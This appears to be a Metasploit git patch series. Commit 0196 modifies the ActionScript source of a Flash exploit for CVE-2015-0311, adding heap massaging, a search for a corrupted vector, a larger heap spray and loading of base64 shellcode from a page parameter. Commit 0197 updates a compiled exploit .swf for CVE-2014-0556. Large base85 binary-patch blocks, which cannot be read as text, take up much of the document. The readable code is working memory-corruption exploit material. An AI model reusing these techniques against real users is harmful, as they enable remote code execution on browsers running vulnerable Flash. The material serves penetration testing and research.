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 Date: Tue, 26 May 2015 15:18:01 -0500 Subject: [PATCH 0196/1013] Update AS code --- .../source/exploits/CVE-2015-0311/Exploit.as | 33 +++++++++++++++---- .../exploits/CVE-2015-0311/Exploiter.as | 2 +- .../source/exploits/CVE-2015-0311/Logger.as | 18 ++++------ 3 files changed, 34 insertions(+), 19 deletions(-) diff --git a/external/source/exploits/CVE-2015-0311/Exploit.as b/external/source/exploits/CVE-2015-0311/Exploit.as index b414320df7..0e63483803 100644 --- a/external/source/exploits/CVE-2015-0311/Exploit.as +++ b/external/source/exploits/CVE-2015-0311/Exploit.as @@ -26,15 +26,20 @@ package private var b64:Base64Decoder = new Base64Decoder() private var payload:String private var platform:String + private var massage:Vector. = new Vector.(10000) public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() - // defrag - for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0) + for (var i:uint = 0; i < massage.length / 2; i++) { + massage[i] = new Vector.(0x3e0) + } for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++) ba.compress() @@ -44,8 +49,10 @@ package try { ba.uncompress() } catch (e:Error) { } - uv = new Vector.(0x3e0) - uv[0] = 0 + + for (i = massage.length / 2; i < massage.length; i++) { + massage[i] = new Vector.(0x3e0) + } var test:uint = li32(0) if (test == 0x3e0) { @@ -54,6 +61,20 @@ package Logger.log('[*] Exploit - corruption fail: ' + test.toString(16)) return // something failed } + + + for (i = 0; i < massage.length; i++) { + if (massage[i].length == 0x3e0) { + massage[i] = null + } else { + Logger.log('[*] Exploit - corrupted vector found at ' + i) + uv = massage[i] + uv[0] = 0 + } + } + + if (uv.length != 0xffffffff) + return exploiter = new Exploiter(this, platform, payload, uv) } diff --git a/external/source/exploits/CVE-2015-0311/Exploiter.as b/external/source/exploits/CVE-2015-0311/Exploiter.as index 3203ad77a9..99b41d1f8a 100644 --- a/external/source/exploits/CVE-2015-0311/Exploiter.as +++ b/external/source/exploits/CVE-2015-0311/Exploiter.as @@ -23,7 +23,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(51200) + private var spray:Vector. = new Vector.(80000) public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void { diff --git a/external/source/exploits/CVE-2015-0311/Logger.as b/external/source/exploits/CVE-2015-0311/Logger.as index 2d571c10ee..16c0447973 100644 --- a/external/source/exploits/CVE-2015-0311/Logger.as +++ b/external/source/exploits/CVE-2015-0311/Logger.as @@ -7,13 +7,10 @@ package public static function alert(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("alert", str); @@ -22,13 +19,10 @@ package public static function log(msg:String):void { - if (DEBUG == 0) - return - var str:String = ""; - str += msg; - - trace(str); + + if (DEBUG == 1) + str += msg; if(ExternalInterface.available){ ExternalInterface.call("console.log", str); From 1742876757f9ce5ea02faae9914616acd3561ead Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:30:39 -0500 Subject: [PATCH 0197/1013] Fix CVE-2014-0556 --- data/exploits/CVE-2014-0556/msf.swf | Bin 17750 -> 17720 bytes .../source/exploits/CVE-2014-0556/Main.as | 8 ++++++-- 2 files changed, 6 insertions(+), 2 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2014-0556/msf.swf diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100755 new mode 100644 index 24cfc1a53a7059bf76a4ac9d555d0657792e63a7..f6483bd08741f6e2d275d8e95e7cce77be244500 GIT binary patch delta 17576 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 